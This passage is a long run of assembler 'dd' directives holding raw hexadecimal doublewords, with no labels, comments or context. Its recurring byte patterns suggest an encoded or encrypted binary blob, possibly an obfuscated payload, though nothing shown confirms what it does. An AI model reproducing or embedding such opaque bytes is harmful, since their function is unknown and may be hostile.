1DD3A7A7h, 18EF57A0h, 94DD615Eh, 57A7A7A3h, 0A7A773DAh dd 0D8C8F9A7h, 0A45D4849h, 8585857h, 0B0BC2DA7h, 58583B39h dd 0D1509CDBh, 0E5DBBC1Dh, 0A7A7B624h, 0D3512C58h, 0A7ABF4DDh dd 0A81DD1A7h, 0ABF4DDD3h, 1D61A7A7h, 0D34F2CA8h, 0E757A01Dh dd 49D9C04Dh, 0C8611248h, 585858F0h, 4972DC57h, 14F95858h dd 0DB4849DAh, 0DD6151B0h, 0A7A7B7FCh, 5893DC57h, 0F4F95858h dd 5B4849D9h, 49D9845Dh, 5AB0DB48h, 0B8A0DDD1h, 38F9A7A4h dd 0DB4849D9h, 0DDD15FB0h, 0A7A4B958h, 0DDD316B3h, 0A7A7B7FCh dd 0B8ACDDD1h, 44E0A7A4h, 0AF585858h, 0A4B958FDh, 0A8DDD1A7h dd 0D3A7A4B8h, 0A4B8ACDDh, 0A8CDD3A7h, 59A7A4B8h, 0A41D5B88h dd 0B8A4DDD1h, 0CDD3A7A4h, 0A7A4B8A0h, 2E400861h, 4018D351h dd 0B8A0DDD1h, 0DDA7A7A4h, 0A7A4B958h, 0D3A025D3h, 5858F4DFh dd 5844E158h, 0B0995858h, 117DE25Ah, 0BAAF7CCAh, 0B8ACCDD1h dd 8FD1A7A4h, 0B958E561h, 0D22AA7A4h, 0A7A01DD3h, 0EDA76428h dd 0A7A4B8A0h, 583A30B0h, 509CDB58h, 0B8A0DDD1h, 0DDD3A7A4h dd 0A7A7ABF4h, 2CA81D63h, 0A0DD6154h, 57A7A4B8h, 584813DDh dd 0D0FDDB58h, 58A7A7B7h, 49D96CF9h, 8C5D5B48h, 0DB4849D8h dd 0DDD15FB0h, 0A7A7A390h, 585969B1h, 0E4DDD358h, 5BA7A7AFh dd 0A7A390DDh, 0A41D5BA7h, 87A4DDD1h, 4DD3A7A4h, 4849D974h dd 0D9304D5Bh, 0B2DB4849h, 57486152h, 585942DCh, 0A4DDD358h dd 0D3A7A487h, 0DD735418h, 0A7A7A388h, 0AFE4DD5Bh, 0DDD1A7A7h dd 0A7A487A0h, 8A41D5Bh, 0B859DDD5h, 0A708A7A4h, 5979FC4Dh dd 509CDB48h, 49D918F9h, 0DDD11048h, 0A7A4B958h, 0DDD373B3h dd 0A7A4B958h, 595DDCD2h, 64A7A4B8h, 644C2639h, 0D3482522h dd 0A4B958DDh, 5DDCD5A7h, 0A7A4B859h, 0A77870D8h, 0A4B958DDh dd 58DDD3A7h, 57A7A4B9h, 595DDCE6h, 0D3A7A4B8h, 49D8E44Dh dd 55E75748h, 4849D8A4h, 0B2DB9259h, 2D88615Ah, 5DE757E9h dd 4849D9C8h, 0A25DE4D8h, 1DA7A487h, 4DD3392Dh, 4849DA70h dd 0A34DE4D8h, 0AA7A487h, 0E757092Dh, 49D9FC4Dh, 4DE4D848h dd 0A7A487A3h, 0D3182D13h, 49D9DC4Dh, 4DE4D848h, 0A7A4B85Bh dd 0D3682D6Bh, 49D9804Dh, 584D5B48h, 0D84849DAh, 87A54DE4h dd 2D14A7A4h, 305D5B42h, 0D84849D9h, 87A65DE4h, 2D6AA7A4h dd 0D0DD9F52h, 59A7A7B7h, 0DB585858h, 0A7A390DDh, 1DD34CA7h dd 0DCD8D3A0h, 61585858h, 0A7A390DDh, 0E2DA57A7h, 0DBA7A7A6h dd 0A7B7D0E5h, 0DC5758A7h, 58585680h, 0DBA01DD3h, 0DB3E4E98h dd 0DDD55950h, 0A7A4B96Dh, 0A38CDDD1h, 18D3A7A7h, 0E0DDD164h dd 5BA7A7AFh, 0A7A38CDDh, 0ECDDD1A7h, 0DBA7A7AFh, 0A7B624E5h dd 0DD5758A7h, 58585948h, 0D3A01DD3h, 49D9904Dh, 50B2DB48h dd 5888C861h, 0DC575858h, 585858A0h, 0A04DE757h, 5B4849D8h dd 49D8C04Dh, 56B2DB48h, 588CC861h, 0DC575858h, 58585884h dd 0B7CCCDD3h, 861A7A7h, 95DE570Ch, 0D3585858h, 0A7AF98DDh dd 58A05DA7h, 0DDD15858h, 0A7A4B8A0h, 585870E0h, 0A015D358h dd 5E11EF57h, 0DDD1B9AFh, 0A7A4B8ACh, 0B8A0DDD3h, 0CDD3A7A4h dd 0A7A4B8ACh, 0DDD18859h, 0A7A4B958h, 0B8A8DDD1h, 70E0A7A4h dd 0D3585858h, 49D9F455h, 0A8555B48h, 0DB4849D8h, 0B9AF5AB1h dd 0B8B4DDD1h, 0DDD3A7A4h, 0A7A4B8A8h, 0B8B4CDD3h, 8859A7A4h dd 0B8A4DDD1h, 1DD3A7A4h, 8CE8A7A0h, 0D3585858h, 0CDD3A41Dh dd 0A7A4B958h, 0D30A9A59h, 0A4B8A4CDh, 0A9A59A7h, 104C4DA7h dd 9CDB4851h, 0A01DD354h, 5858885Dh, 0B0DDD158h, 0E0A7A4B8h dd 58585870h, 0D99855D3h, 555B4849h, 4849D898h, 0DDD1B9AFh dd 0A7A4B8BCh, 0B8B0DDD3h, 9AD1A7A4h, 0B8BCD5D3h, 5259A7A4h dd 0A7A01DD3h, 2DA76428h, 727B0A8h, 1DD15858h, 5870E0A8h dd 15D35858h, 11EF57A0h, 0D1B9AF5Eh, 0A4B958DDh, 98DDD3A7h dd 0D3A7A7AFh, 0DCD5A40Dh, 5858A048h, 58CDD358h, 0D1A7A4B9h dd 0F99E598Eh, 4849D984h, 85498DBh, 49D8BCF9h, 5DB0DB48h dd 0DBA8D108h, 0A7084098h, 51116C4Dh, 5DE75748h, 4849DA48h dd 59A7A35Dh, 501ED158h, 0A7A01DD3h, 1DD36428h, 5598DB48h dd 757B008h, 1ED15858h, 0A81DD348h, 0AFE8DDD1h, 1DD3A7A7h dd 0F8DDD1BCh, 30A7A7B7h, 4849C07Dh, 585557B0h, 0A70E0858h dd 5979FC4Dh, 0BC1DD348h, 0F9541ED1h, 4849D914h, 5858465Dh dd 7C1ED1B8h, 0D1A81DD3h, 0B4F94C1Eh, 5D4849D8h, 5859A7A7h dd 0D3BC1D59h, 0ED3A01Dh, 500E5B54h, 0A70808D1h, 4928184Dh dd 65E75748h, 4849D970h, 604DE757h, 594849D9h, 5FB7DB8Fh dd 5858A5E1h, 0A1AFC158h dd 0E5D18F59h, 0A7A7B7C4h, 0A7A01DD3h, 1DD36428h, 481E5BA8h dd 623B008h, 9CDB5858h, 0A81DD168h, 0DBA01DD3h, 0A73E5E98h dd 184DA758h, 0D3484928h, 0A7AFE0E5h, 8CCDD3A7h, 0D1A7A7A3h dd 0A4B8A0CDh, 0A4DDD1A7h, 0E1A7A4B8h, 585858A7h, 0D3A1AFC1h dd 0A4B8A0D5h, 614CD0A7h, 28184DA7h, 4DD34849h, 4849DA58h dd 5C55E757h, 594849D9h, 5CB2DB92h, 0CDD38F59h, 0A7A7A38Ch dd 0B8A8CDD1h, 0DDD1A7A4h, 0A7A4B8ACh, 5858A7E1h, 0A1AFC158h dd 0B8A8D5D3h, 4CD0A7A4h, 9865D361h, 5B4849D9h, 49D92C65h dd 5FB7DB48h, 0A38CCDD3h, 15D3A7A7h, 51B19948h, 576254D0h dd 0D89C5DE7h, 5D5B4849h, 4849D9D4h, 0D35FB0DBh, 0A7B7C4D5h dd 15A9DBA7h, 0F95A54D0h, 4849D9A0h, 5B6598DBh, 49D8E45Dh dd 9CDDD148h, 0B3A7A7A3h, 184DA76Dh, 0D3484928h, 0A7A39CE5h dd 8CCDD3A7h, 0D1A7A7A3h, 0A4B8B0CDh, 0B4DDD1A7h, 0E1A7A4B8h dd 585858A7h, 0D3A1AFC1h, 0A4B8B0D5h, 614CD0A7h, 0A39CDDA7h dd 0DDD3A7A7h, 0A7A7AFE0h, 0A39CDD61h, 0E52AA7A7h, 0B624E5DBh dd 2C58A7A7h, 0E8DDD322h, 57A7A7AFh, 0D8884DE7h, 4D5B4849h dd 4849D898h, 0DD38859h, 5A5CD3A4h, 0B8BCDDD1h, 1DD3A7A4h dd 6C08D3A0h, 0F970085Bh, 4849D968h, 595E98DBh, 0B8CDD19Ah dd 0D3A7A4B8h, 0A4B8BCDDh, 0C84DD3A7h, 0DB4849D8h, 0E757AE9Ah dd 49DA4855h, 71925948h, 0B8DD5B88h, 0D3A7A4B8h, 49D9F44Dh dd 5A9ADB48h, 0DDD18859h, 0A7A4B884h, 0D3A01DD3h, 0A4B884CDh dd 6C0873A7h, 327008D1h, 0DAC83055h, 0DDD54849h, 0A7A4B970h dd 4C4DA708h, 0D3485110h, 98DB481Eh, 0DDD50855h, 0A7A4B970h dd 4C1ED308h, 8A41D5Bh, 104C4DA7h, 9CDB4851h, 4C1ED340h dd 0D15598DBh, 0A7B7C0DDh, 4DE757A7h, 4849D89Ch, 595CB2DBh dd 84DDD188h, 0B3A7A7A3h, 84DDD342h, 5BA7A7A3h, 0EE57A41Dh dd 0C4CD6B48h, 0D0A7A7B7h, 84DDA748h, 0D3A7A7A3h, 0A7B7C0DDh dd 481D5BA7h, 0A384DD61h, 8D2AA7A7h, 49D8E0F9h, 5CB0DB48h dd 0F9B01DD1h, 4849D9ACh, 9A599AD1h, 0B0DB88D1h, 98DDD14Ah dd 0B1A7A7A3h, 58585AB0h, 585870E0h, 98FDAF58h, 0D1A7A7A3h dd 0A4B8B8DDh, 0E0DDD3A7h, 0D3A7A7AFh, 0A7A38CCDh, 48DCD5A7h dd 585858A0h, 0B8B8CDD3h, 8BD1A7A4h, 70E09B59h, 0D3585858h dd 0EF57A015h, 0B9AF5E11h, 0B884DDD1h, 0DDD3A7A4h, 0A7A7AF98h dd 0D5A40DD3h, 58A048DCh, 0CDD35858h, 0A7A4B884h, 9E598ED1h dd 945DE757h, 0D84849D8h, 2D2A5B64h, 0D9F4F96Bh, 0E7574849h dd 49D9644Dh, 0DB885948h, 64D853B0h, 442D765Bh, 505DE757h dd 0D84849DAh, 3B5C4024h, 1BD3562Dh, 0DCDDD14Ch, 0B1A7A7B7h dd 58585A1Eh, 0A05DE757h, 0DB4849D8h, 64D85DB0h, 612D765Bh dd 1C5DE757h, 5B4849DAh, 49D9305Dh, 50B0DB48h, 3D5B64D8h dd 0BCF97B2Dh, 184849D9h, 395B64D8h, 1BD34F2Dh, 20DDD154h dd 0D3A7A7B6h, 0DDD14C1Bh, 0A7A7B7D8h, 5859A5B1h, 5DE75758h dd 4849D93Ch, 315B64D8h, 0F4F9692Dh, 574849D9h, 0D9644DE7h dd 88594849h, 0D853B0DBh, 2D765B64h, 5DE75742h, 4849DA48h dd 0D9D05D5Bh, 0B0DB4849h, 5B64D85Dh, 0E7DC5739h, 0F9585859h dd 4849D9ECh, 0D85CB0DBh, 57765B64h, 5858DCDDh, 0D978F958h dd 5D5B4849h, 4849D8A8h, 0D852B0DBh, 2D3A5B64h, 0D9BCF928h dd 5D5B4849h, 4849DA64h, 5B64D810h, 0DB062D2Bh, 0B8F9809Eh dd 5D4849D9h, 0B8585840h, 0D8E05D5Bh, 1ED14849h, 5DE7577Ch dd 4849D8ECh, 5857A35Dh, 2EA70858h, 29BB050h, 9FD15858h dd 0D150235Bh, 0F8F95026h, 5D4849D8h, 585857A3h, 0D96C5D5Bh dd 0D3084849h, 1B5BBC1Dh, 0C6B00850h, 0DB585802h, 1DD1489Ch dd 709EDBBCh, 585971B1h, 0A81DD358h, 0D34C1ED1h, 1ED1501Bh dd 0BC1DD350h, 0D3541ED1h, 1ED17C1Bh, 0A70E0B7Ch, 5979FC4Dh dd 481BD348h, 57481ED1h, 0D8885DE7h, 0E7574849h, 49D8944Dh dd 481CD548h, 0A8F9085Dh, 0DB4849D8h, 0D1085BB0h, 4098DBA8h dd 6C4DA708h, 0D3485111h, 0BD3B025h, 0E5CCD154h, 0A7A7A3B8h dd 0D1500BD3h, 0AF9CE5CCh, 0ED3A7A7h, 0E5CCD154h, 0A7A7ABECh dd 0D14C0ED3h, 0B7E8E5CCh, 1DA7A7A7h, 481BD3B0h, 0D3A81D59h dd 0DDD1A81Dh, 0A7A4B8BCh, 0A7A01DD3h, 2DA76428h, 1AFB0A8h dd 9CDB5858h, 0A81DD144h, 49D9F4F9h, 64D81048h, 782D3C5Bh dd 0B8BCDDD3h, 1D61A7A4h, 0D34D2EA8h, 9971A815h, 0B880D5D1h dd 90D1A7A4h, 0D1501E59h, 481E5990h, 0A45DE757h, 5D4849D8h dd 585857A6h, 541ED308h, 8501B5Bh, 5801F4B0h, 0A025D358h dd 0F9081FD1h, 4849DA4Ch, 5857A55Dh, 1DD30858h, 501B5BBCh dd 1D7B008h, 1DD15858h, 0DBA0D1BCh, 0A73E5E98h, 482EA758h dd 5B4C1BD3h, 0A7A38CDDh, 1ED308A7h, 0A41D5B4Ch, 4C4DA708h dd 0DB485110h, 0DDA7449Ch, 0A7A7A398h, 0AFECDDD3h, 0EF57A7A7h dd 0DD615E18h, 0A7A7A398h, 0A55ADA57h, 0DDD3A7A7h, 0A7A7B7DCh dd 0A38CDD5Bh, 1DD1A7A7h, 0D984F9B4h, 0E7574849h, 49D9F04Dh dd 0D1885948h, 4B3B81Dh, 0D3B825D3h, 4AD3B40Dh, 0B8E5CC61h dd 2DA7A7A3h, 0B41DD353h, 0DDD158D3h, 0A7A7ABE8h, 99B825D3h dd 0CCD35ABFh, 0A7A3B865h, 65CC5BA7h, 0A7A7AF9Ch, 63B425D3h dd 0D37A2E4Fh, 0E4D3B825h, 0A7B7E8E5h, 0C8E5D1A7h, 0D3A7A7B7h dd 0E4D3B825h, 0A7ABECE5h, 0F4E5D1A7h, 0B3A7A7B7h, 0B81DA753h dd 61B01DD3h, 0C42AB81Dh, 49DA5CF9h, 5AB0DB48h, 0A380DDD1h dd 3CB1A7A7h, 0D3585859h, 0A7A380DDh, 0E84DD3A7h, 5B4849D9h dd 49D9784Dh, 5FB2DB48h, 1D5B8859h, 0B8DDD1B4h, 3EA7A4B8h dd 0D13E58D3h, 0A4B8BCDDh, 0DDEF57A7h, 0A7A4B8BCh, 0D9F44DD3h dd 0B2DB4849h, 5788615Ah, 58596CDCh, 0E5EF5758h, 0A7A4B8BCh dd 884DE757h, 574849D8h, 0D91055E7h, 14D54849h, 0A78B5D52h dd 86E5D13Eh, 57A7A4B8h, 0B8BCE5EFh, 4DD3A7A4h, 4849D930h dd 0AC55E757h, 0DF4849D8h, 8B895989h, 0E5D13EBFh, 0A7A4B8BEh dd 0BEE5EF57h, 0D3A7A4B8h, 49D9B855h, 3EA78B48h, 0B8BEE5D1h dd 0EF57A7A4h, 0A4B8BEDDh, 444DD3A7h, 0DB4849D9h, 88615AB2h dd 0ACF94C2Dh, 0DB4849D9h, 0DD6151B0h, 0A7A7A380h, 58EBDD57h dd 1DD35858h, 6C18D3A0h, 0B7F4DD5Bh, 0DD3A7A7h, 735A5BB4h dd 0A7ABE8DDh, 0CDEF57A7h, 0A7A4B8BEh, 0DDD18859h, 0A7A4B880h dd 0AFECDDD3h, 18D3A7A7h, 0B40DD36Ch, 0EF575A5Bh, 0A4B8BECDh dd 0D18859A7h, 0A4B88CDDh, 80D5D3A7h, 71A7A4B8h, 88D5D199h dd 57A7A4B8h, 0B886DDEFh, 0E757A7A4h, 49D9B04Dh, 0C84D5B48h dd 0DB4849D8h, 886150B2h, 0DDD37F2Dh, 0A7A7B7C8h, 5BB40DD3h dd 0E8DD735Ah, 57A7A7ABh, 0B8BECDEFh, 8859A7A4h, 0D1A41D5Bh dd 0A4B894DDh, 5992D1A7h, 0D924F948h, 0B0DB4849h, 80DD595Dh dd 0D3A7A7A3h, 18D3B41Dh, 80DD615Ch, 57A7A7A3h, 0A7A6D2DAh dd 0B41DD3A7h, 595C08D3h, 0B40DD19Ah, 0AFECDDD3h, 0D8D3A7A7h dd 585858FCh, 0B7DCCDD3h, 0CD5BA7A7h, 0A7A7A38Ch, 1D618859h dd 8ADA57B4h, 0D3A7A7A5h, 10D3A01Dh, 2CD5D170h, 0D3A7A7B6h dd 0A7B7F8CDh, 7008D1A7h, 0B624E5DBh, 2D58A7A7h, 3898DB47h dd 0AFECCDD3h, 0AD3A7A7h, 0D3485938h, 98DBA01Dh, 0ECCDD330h dd 0D3A7A7AFh, 4859300Ah, 57A01DD3h, 0DA184DE7h, 0E7574849h dd 49D97055h, 0DB925948h, 0D13E5FB2h, 4DD31E08h, 4849D9A4h dd 5B5D9ADBh, 49D9A04Dh, 4208D048h, 0D8B84DD3h, 9ADB4849h dd 8D13E5Fh, 0D8DDD31Ch dd 5BA7A7B7h, 0A7A38CDDh, 40DDD1A7h, 0D3A7A4B9h, 0A7B7D8DDh dd 40CDD3A7h, 5BA7A4B9h, 0DD73441Ah, 0A7A7B620h, 0B94CDDD1h dd 0DD5BA7A4h, 0A7A7A38Ch, 0B948DDD1h, 58D3A7A4h, 0B7F0DDD1h dd 0ECF9A7A7h, 574849D9h, 0D9644DE7h, 88594849h, 0D155B0DBh dd 19B3841Dh, 998425D3h, 0CCD35ABFh, 0A7A3B865h, 65CC5BA7h dd 0A7A7AF9Ch, 0B7F0CD63h, 7A2EA7A7h, 0D38425D3h, 0A3B8E5E4h dd 0E5D1A7A7h, 0A7A7B634h, 0D38425D3h, 0ABECE5E4h, 0E5D1A7A7h dd 0A7A7B630h, 1DA753B3h, 0B01DD384h, 2A841D61h, 0A01DD3EFh dd 5B6C18D3h, 0A7B630DDh, 0F0DD5BA7h, 73A7A7B7h, 0A7B634DDh dd 28DDD1A7h, 0D3A7A7B6h, 0A7AFECDDh, 6C18D3A7h, 0B7F0DD5Bh dd 0DDD1A7A7h, 0A7A7B7F0h, 0AFE8DDD3h, 1DD1A7A7h, 5AD3B1ACh dd 1DD35858h, 0A40DD3ACh, 0D8E055D3h, 555B4849h, 4849D908h dd 0D15FB1DBh, 5797599Fh, 0D36254EEh, 49D8F865h, 5BB7DB48h dd 0DD57A161h, 58585951h, 0D8F855D3h, 0D1114849h, 5797599Fh dd 0D36254EEh, 49DA5C65h, 5AB7DB48h, 0DD57A161h, 585858B1h dd 5A54EE57h, 0D94C65D3h, 9FD94849h, 585858BCh, 0D9BC655Bh dd 0A1614849h, 5893DD57h, 55D35858h, 4849D984h, 0D15B99DBh dd 5797599Fh, 0D36254EEh, 49DA6465h, 58655B48h, 0DB4849DAh dd 0A1615DB7h, 58FBDD57h, 5D5B5858h, 4849D980h, 5A5CEE57h dd 0DA784DD3h, 4D5B4849h, 4849D9F8h, 6152B2DBh, 0DADD5788h dd 0D3585858h, 10D3A01Dh, 2CD55B6Ch, 0D1A7A7B6h, 0A4B8BCD5h dd 6C18D3A7h, 0B7F8DD5Bh, 0DD3A7A7h, 0E8CD73ACh, 59A7A7AFh dd 0B8DDD188h, 57A7A4B8h, 0D8AC5DE7h, 4DD34849h, 4849D9ECh dd 0A1481CD5h, 0B8B8DD73h, 9059A7A4h, 5C4DE757h, 0DB4849D9h dd 88715C9Ah, 0B884DDD1h, 0E757A7A4h, 49D8F065h, 0A0655B48h dd 0D34849D9h, 0E757AC0Dh, 49D8AC55h, 48555B48h, 0DB4849D9h dd 925952B1h, 0D1A40D5Bh, 0E214D199h, 0AC1DD3ACh, 0D1A40DD3h dd 0A4B8BCCDh, 6855D3A7h, 0DB4849D9h, 9FD15A99h, 0EE579759h dd 65D36254h, 4849D9DCh, 0CC4DE757h, 594849D9h, 0DBA2D18Fh dd 89615DB2h, 5940DD57h, 0E7575858h, 49DA1C4Dh, 644D5B48h dd 0DB4849DAh, 99D15EB2h, 0CDD38959h, 0A7A4B8BCh, 524CEE57h dd 0D91455D3h, 555B4849h, 4849D9B4h, 615DB1DBh, 0BBDD5792h dd 0D3585858h, 49D9044Dh, 484D5B48h, 0DB4849D9h, 99D153B2h dd 0CDD38959h, 0A7A4B8BCh, 524CEE57h, 0D97455D3h, 0B1DB4849h dd 57926150h, 5858EDDDh, 0BCCDD358h, 57A7A4B8h, 575A4CEEh dd 0DA1855E7h, 99D94849h, 585858B8h, 0DD579261h, 585858CEh dd 0DA6C4DD3h, 0E7574849h, 49DA5055h, 0DB925948h, 88595DB2h dd 0B8BCCDD3h, 0EE57A7A4h, 4DD35A5Ch, 4849DA74h, 615FB2DBh dd 0D3332D88h, 18D3A01Dh, 0F8DD5B6Ch, 0D3A7A7B7h, 0CD73AC0Dh dd 0A7A7AFE8h, 0DDD18859h, 0A7A4B8B8h, 0B628DDD3h, 0DDD1A7A7h dd 0A7A4B884h, 0A05DE757h, 0DB4849D8h, 0DD73A298h, 0A7A4B8B8h dd 0B884DD5Bh, 4DD3A7A4h, 4849D880h, 715AB2DBh, 80DDD188h dd 57A7A4B8h, 0D95C65E7h, 0DD34849h, 0E455D3ACh, 194849D8h dd 0D5B9259h, 0D199D1A4h, 1DA7E254h, 0E8DDD3ACh, 0DBA7A7AFh dd 1D615598h, 3BDA57ACh, 0A7A7A7A5h, 0A7B7D4EDh, 104DA7A7h dd 0A7485111h, 0DDD5502Dh, 0A7A7B6D9h, 0FC4DA708h, 0DB485979h dd 1DD3509Ch, 0DB99D150h, 0D818A790h, 2D585964h, 7CDDD1A1h dd 0D3A7A4B9h, 49D9844Dh, 55E75748h, 4849D9C0h, 88719259h dd 0D95DDC9Eh, 2AA7A7B6h, 0B97CDDD3h, 0E757A7A4h, 49DA504Dh dd 5A9ADB48h, 0DC9E8871h, 0A7B6D95Dh, 0DDD331A7h, 0A7A4B97Ch dd 0D9204DD3h, 0B2DB4849h, 9E88715Fh, 0B6D95DDCh, 0F92EA7A7h dd 4849D96Ch, 85AB0DBh, 49D9D4F9h, 59B0DB48h, 575A3208h dd 0D8EC5DE7h, 0B0DB4849h, 0F4F9085Dh, 0DB4849D8h, 30085FB0h dd 18585858h, 0B6D9DDD5h, 0A708A7A7h, 4933404Dh, 0D4DDD148h dd 0F9A7A7B7h, 4849D924h, 85FB0DBh, 0B978DDD5h, 0A708A7A4h dd 2DA7A82Dh, 0D4EDA7A4h, 0A7A7A7B7h, 4937444Dh, 0D4EDA748h dd 0A7A7A7B7h, 5111104Dh, 0A42DA748h, 7D944DA7h, 58324859h dd 0D5502DA7h, 0A7B6D9DDh, 4DA708A7h, 48516D1Ch, 0B6D9DDD5h dd 0A708A7A7h, 58A8544Dh, 5859E048h, 4FB35858h, 0B7D4EDA7h dd 4DA7A7A7h, 48511110h, 0A7A42DA7h, 597D944Dh, 7986948h dd 9B910306h, 9BDD10Dh, 0D30F0E0Bh, 65DB5025h, 4849DA08h dd 304D2D58h, 48492808h, 57944DA7h, 5D9F4859h, 4849DA08h dd 58585859h, 0D96C6DD3h, 571E4849h, 0EE5747EEh, 0EF57590Fh dd 50BA998Ah, 0EF578B51h, 3E865983h, 57A42DD1h, 0D3A41DEFh dd 49D9004Dh, 684D5B48h, 124849DAh, 0DC578861h, 585858DFh dd 49280830h, 44DA748h, 57484901h, 0D8AC5DE7h, 0E7574849h dd 49D91C4Dh, 0DB885948h, 0D13E5BB0h, 4DB3A61Dh, 0A61DEF57h dd 0E657A059h, 17E65748h, 0D092695Ah, 1DA73E48h, 1DEF57A6h dd 0DEF57A6h, 248861A4h, 5DE75787h, 4849D894h, 4DE75710h dd 4849D8A0h, 0D05DB2DBh, 0E7575F4Ch, 49D9C05Dh, 905D5B48h dd 0DB4849D9h, 4DD350B0h, 4849D8B8h, 0D97C4D5Bh, 0B2DB4849h dd 5F4CD050h, 49280830h, 184DA748h, 0D5485111h, 6075B1Fh dd 0D9B9103h, 0B4D9BDD1h, 58585B74h, 0A70F0E0Bh, 4DA7542Dh dd 4855017Ch, 502DA701h, 0A4B2DDD5h, 0B008A7A7h, 5858F191h dd 0A4B2D5D5h, 90DBA7A7h, 64D818A7h, 0A12D5859h, 0DA5C4DD3h dd 4D5B4849h, 4849D8C0h, 0D152B2DBh, 0D38B719Bh, 49D9D84Dh dd 45CCD048h, 0A7A7A4B2h, 49D90CF9h, 4DE75748h, 4849D95Ch dd 8F599FD1h, 0D150B7DBh, 9055D3A0h, 194849D8h, 0DDD1B9AFh dd 0A7A7A4B8h, 65DCE657h, 0A7A7A4B2h, 0A4B8CDD3h, 0DCD0A7A7h dd 0A7A5B64Dh, 0D3A0D1A7h, 49D8BC55h, 5BB1DB48h, 0DDD1B9AFh dd 0A7A7A484h, 49D9F8F9h, 0C45D5B48h, 0DB4849D9h, 0CDD353B0h dd 0A7A7A484h, 0E4F99A59h, 5B4849D9h, 49DA605Dh, 5EB0DB48h dd 0B64DDCD0h, 57A7A7A5h, 0B265DCE6h, 57A7A7A4h, 0D9A84DE7h dd 4D5B4849h, 4849D954h, 6150B2DBh, 0DADD5788h, 0D1585858h dd 2455D3A0h, 0DB4849D9h, 0B9AF5DB1h, 0A480DDD1h, 0BCF9A7A7h dd 5B4849D8h, 49D8C05Dh, 53B0DB48h, 0A480CDD3h, 9A59A7A7h dd 0F05DE757h, 0D04849D9h, 0A5B64DDCh, 0A0D1A7A7h, 0D90855D3h dd 555B4849h, 4849D96Ch, 0AF5CB1DBh, 8CDDD1B9h, 0F9A7A7A4h dd 4849D934h, 0A04DE757h, 594849D8h, 50B0DB88h, 0A48CCDD3h dd 9A59A7A7h, 0C85DE757h, 5B4849D9h, 49D8BC5Dh, 55B0DB48h dd 0B64DDCD0h, 0B3A7A7A5h, 0ACB11F5Eh, 0F9A7A7A6h, 4849D97Ch dd 615AB0DBh, 49DA345Dh, 0D5392C48h, 0A7A5B6DDh, 8CF908A7h dd 0DB4849D9h, 0A70850B0h, 597DEC4Dh, 519ED148h, 0F91D2CAEh dd 4849D9F8h, 0D9C45D5Bh, 0B0DB4849h, 285D6154h, 2C4849DAh dd 0D880F908h, 5D5B4849h, 4849D974h, 0AF55B0DBh, 0DDD50880h dd 0A7A7A5B6h, 5DE75708h, 4849D940h, 0D9D45D5Bh, 0B0DB4849h dd 4DA70851h, 4858A87Ch, 7D9C6DA7h, 6DA74859h, 485100A4h dd 0A4B2DDD5h, 0B008A7A7h, 0A7A7BFADh, 0D1549CDBh, 0A7A4BCDDh dd 30607A7h, 0D10D9B91h, 7948E0BDh, 0EEB05859h, 0B5858FFh dd 2DA70F0Eh, 0A4DDD550h, 8A7A686h, 58FF9CB0h, 0A4D5D558h dd 0DBA7A686h, 0D818A790h, 2D585964h, 0EC45D3A1h, 0DB4849D9h dd 9ED15BB3h, 0E7578671h, 49D88845h, 5EB3DB48h, 0A46DC4D0h dd 57A7A686h, 0D9CC5DE7h dd 5D5B4849h, 4849D9D4h, 85AB0DBh, 1C5DE757h, 0DB4849D9h dd 32085CB0h, 5DE7575Bh, 4849D9B0h, 0D9E05D5Bh, 0B0DB4849h dd 6DA70853h, 4849D984h, 58585930h, 0A4DDD5D8h, 8A7A686h dd 33404DA7h, 9FD14849h, 57A7A7DBh, 585A69DCh, 5DE75758h dd 4849DA18h, 850B0DBh, 86A8DDD5h, 3008A7A6h, 585847A7h dd 0B859DDD5h, 0F08A7A7h, 0A86C4DA7h, 0DDD14858h, 0A7A686A0h dd 104DA70Fh, 0D8485111h, 0A7B859E5h, 0DD5714A7h, 585859AAh dd 49D8F4F9h, 5FB0DB48h, 86A0DD61h, 0DC57A7A6h, 58585986h dd 15EDEE57h, 57A7A7B8h, 0B816C5EEh, 0EF57A7A7h, 50BB9983h dd 0D13E8651h, 0A686AEEDh, 0DDEF57A7h, 0A7A686AEh, 0D9844DD3h dd 9ADB4849h, 504D5B1Ch, 594849D9h, 0A84DD388h, 124849D8h dd 0D13E8859h, 0A6B858DDh, 0DDEF57A7h, 0A7A6B858h, 5DDCE657h dd 0A7A7B859h, 0A44DE757h, 5B4849D8h, 49D9EC4Dh, 5EB2DB48h dd 0DC578861h, 5858592Ah, 58DDEF57h, 0D3A7A6B8h, 49D9A44Dh dd 5B9ADB48h, 0D8BC4D5Bh, 88594849h, 5DDCE657h, 0A7A7B859h dd 0D8E44DD3h, 4D5B4849h, 4849D9D0h, 615CB2DBh, 63DD5788h dd 57585859h, 0B858DDEFh, 4DD3A7A6h, 4849DA54h, 0D1549ADBh dd 57895999h, 5955CCEEh, 0D3A7A7B8h, 49D8C86Dh, 559EDB48h dd 0AB599BD1h, 45ECEE57h, 0A7A7B859h, 99AEEF57h, 8BD150BEh dd 86D1AB51h, 0D1AEEF57h, 0D1AB599Bh, 0EDD13E86h, 0A7A686ACh dd 0ACDDEF57h, 0D5A7A686h, 0B8595DDCh, 0D508A7A7h, 0A6B85ADDh dd 0BEB008A7h, 0D55858FDh, 0A6B85AD5h, 0A790DBA7h, 5964D818h dd 0D1A12D58h, 73A0D19Fh, 49D8C85Dh, 5DE4D848h, 0A7A6B85Ah dd 0F9252D76h, 4849D9ACh, 0D8B05D5Bh, 0B0DB4849h, 71A2D15Fh dd 0DCE6579Ah, 0A6B85A4Dh, 4DA708A7h, 4858A864h, 0DB5C9CDBh dd 0C2D1DA0h, 0D8C06DD3h, 6D5B4849h, 4849D9D0h, 0D154B6DBh dd 57AB71A3h, 5A45ECE6h, 0EA7A6B8h, 0A8644DA7h, 9CDB4858h dd 0A0DB5Ch, 6DD3722Dh, 4849D928h, 0D9146D5Bh, 0B6DB4849h dd 71A3D15Dh, 0ECE657ABh, 0A6B85A45h, 4DA70EA7h, 4858A864h dd 0DB5C9CDBh, 5A2C1DA0h, 783068B3h, 0B04849C0h, 0A7A7A204h dd 5AE5D508h, 0FA7A6B8h, 0A8744DA7h, 80F94858h, 0DB4849D8h dd 0D5085EB0h, 0A6B85ADDh, 70B008A7h, 0DBA7A7A3h, 6074C9Ch dd 0D9B9103h, 0B4D9BDD1h, 585858C8h, 0D30F0E0Bh, 49D8C845h dd 5CB3DB48h, 4DD357B3h, 4849D920h, 3E51B2DBh, 98050CD1h dd 0DA10F91Bh, 98DB4849h, 2A9B6144h, 5DE757BDh, 4849D9A8h dd 104DE757h, 0D14849D9h, 0DB8E599Eh, 